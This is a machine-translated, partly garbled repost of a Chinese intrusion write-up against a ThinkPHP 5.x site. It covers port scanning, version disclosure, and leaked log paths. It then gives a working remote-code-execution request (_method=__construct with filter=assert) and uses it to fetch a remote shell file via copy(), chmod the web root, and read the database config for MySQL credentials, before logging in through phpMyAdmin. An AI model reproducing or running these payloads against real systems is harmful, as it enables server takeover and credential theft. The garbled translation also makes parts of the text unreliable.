Heim  >  Artikel  >  PHP-Framework  >  Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

藏色散人
藏色散人nach vorne
2022-01-21 16:22:174043Durchsuche

Die folgende thinkphp-FrameworkTutorial-Kolumne vermittelt Ihnen einen praktischen Einblick in das ThinkPHP-Framework. Ich hoffe, dass es für Freunde in Not hilfreich sein wird!

Informationssammlung

Suchen Sie eine Website http://x.x.x.x/ und beginnen Sie, in sie einzudringen

Scannen Sie zunächst mit nmap den offenen Port des Opferservers, um den Port zu erkennen.

Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Sie können die offenen Ports als sehen folgt
Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Der Port ist die eindeutige Identifikations-ID der Anwendung in der Computerkommunikation. Über den Port können wir erkennen, welche Dienste vom Opferserver geöffnet werden. 3306 ist beispielsweise MySQL und externe Verbindungen sind aktiviert. Wir werden den Portzugriff überprüfen, um zu sehen, ob er geöffnet ist. phpmyadmin, ein PHP-Verbindungs-MySQL-Tool. Wir können es zum Knacken von MySQL-Passwörtern verwenden. 8082 ist eine Leih-Homepage

Geben Sie einfach eine nicht vorhandene Route ein und überprüfen Sie die Fehlermeldung, z. B. http://x.x.x.x/gfvhf

Fehler erfolgreich gemeldet: Die Version des Thinkphp-Frameworks ist 5.1.7 (diese Version weist eine Injektionsschwachstelle auf)Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

8084 ist ein Hintergrund zum weiteren SammelnDenken Sie an eine praktische Einführung in das ThinkPHP-Framework

8092 ist ein Hintergrund, da aufgrund einer unregelmäßigen Bereitstellung Thinkphp-Protokolle durchgesickert sind kann verwendet werden, um das Konto und das Passwort anzuzeigen, bei dem sich der Administrator angemeldet hat. Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Hier sprechen wir über schwarze Produkte, die das Thinkphp-Framework verwenden. Da der Betrieb und die Wartung unausgegoren sind, ist es sehr wahrscheinlich, dass das Thinkphp-Protokoll durchgesickert ist

tp5-6-Nutzlast: Domainname/Runtime/log/202112/. 19.log (

Das folgende 202112/19.log basiert auf den aktuellen DatumsänderungenDenken Sie an eine praktische Einführung in das ThinkPHP-Framework)

tp3-Nutzlast: Domainname/Anwendung/Laufzeit/Protokolle/Home/21_12_19.log (

Das folgende 21_12_19.log basiert auf die aktuelle Datumsänderung

Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Die vom 8083-Port verwendete Thinkphp-Version ist 5.0.15. Die Nutzungsbedingungen der Version 5.0.15 sind zurückhaltend und weich

Nachdem die Informationssammlung abgeschlossen ist, führen Sie einen präzisen Angriff aus

Öffnen Sie Burp, verwenden Sie dann die Paketerfassung und leiten Sie das Datenpaket dann an das Repeater-Modul von Burp weiter. Ersetzen Sie anschließend den erfassten Paketinhalt durch den folgenden InhaltDas Prinzip der Sicherheitsanfälligkeit wird nicht im Detail erklärt, da keine PHP-Architekturschicht es verstehen kann. Eine kurze Beschreibung besagt, dass das Überschreiben einer Variable die Codeausführung verursacht. Informationen zum Schwachstellen-Poc von thinkphp5 finden Sie unter https://y4er.com/post/thinkphp5-rce/

Der Inhalt des folgenden Pakets dient dazu, die Schwachstelle auszulösen und zuzulassen Der Server soll phpinfo() ausführen

POST /index.php?s=captcha&echod=phpinfo() HTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.57
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: pmaCookieVer=5; pma_lang=zh_CN; pma_collation_connection=utf8_unicode_ci; phpMyAdmin=iar4j14536rat57j1d5018qjtt8vj69g
Content-Type:application/x-www-form-urlencoded
Content-Length: 77

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod
Erfolgreich können Sie einige Details von PHP sehen

Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Beginnen Sie mit dem Schreiben der Shell und ersetzen Sie den Anforderungsheader durch:

POST /index.php s=captcha&echod=copy('http://x.x.x.x/2.txt','t2.php') HTTP/1.1

Das bedeutet, dass Sie die Remote-Shell-Datei http://x.x.x.x herunterladen müssen /2.txt auf meinem Server. Schreibe in t2.php im aktuellen WebverzeichnisDenken Sie an eine praktische Einführung in das ThinkPHP-Framework

Aber wenn ich auf t2.php zugreife, erscheint ein 404, was darauf schließen lässt, dass das aktuelle Verzeichnis keine Schreibberechtigung hat

Also versuche ich, Schreibrechte zu erteilen Berechtigungen:

POST /index.php?s=captcha&echod=chmod('./',0777) HTTP/1.1
Ich stelle fest, dass ich die Shell immer noch nicht schreiben kann und die PHP-Berechtigungen sehr eingeschränkt sind. Niedrig.

Ersetzen Sie chmod('./',0777) durch readfile('../application/database.php'), um die Datenbankkonfigurationsdatei zu lesen. Es wurde festgestellt, dass das Kennwort für das MySQL-Konto erfolgreich abgerufen wurde.

Verwenden Sie den zuvor entdeckten phpmyadmin-Dienst, um sich anzumelden, und dann MySQL, um externe Verbindungen zu öffnen.

Verwenden Sie das MySQL-Verwaltungstool, um eine Verbindung herzustellen und eine Reihe von Datenbanken zu entdecken. Und MySQL verfügt direkt über Root-Berechtigungen, wodurch der Server erhöht werden kann (seitliches Eindringen in das Intranet) usw. Wie auch immer, das externe Netzwerk hat eine Lücke geöffnet, daher werde ich hier nicht näher darauf eingehen. Denken Sie an eine praktische Einführung in das ThinkPHP-Framework

Zusammenfassung

Um einige der Ideen zusammenzufassen, die ich mir selbst ausgedacht habe: Wenn thinkphp den Debug-Modus aktiviert und der Server externe Datenbankverbindungen aktiviert, kann er eine große Anzahl von Anfragen senden, indem er den MySQL-Dienst sprengt (MySQL blockieren lassen). ), was dazu führt, dass thinkphp eine Verbindung zu MySQL herstellt und eine Zeitüberschreitung auftritt. Es wird ein Verbindungsausnahmefehler gemeldet und das Passwort des MySQL-Kontos wird auf der Seite ausgegeben.

Empfohlenes Lernen: „Thinkphp-Video-Tutorial

Das obige ist der detaillierte Inhalt vonDenken Sie an eine praktische Einführung in das ThinkPHP-Framework. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:freebuf.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen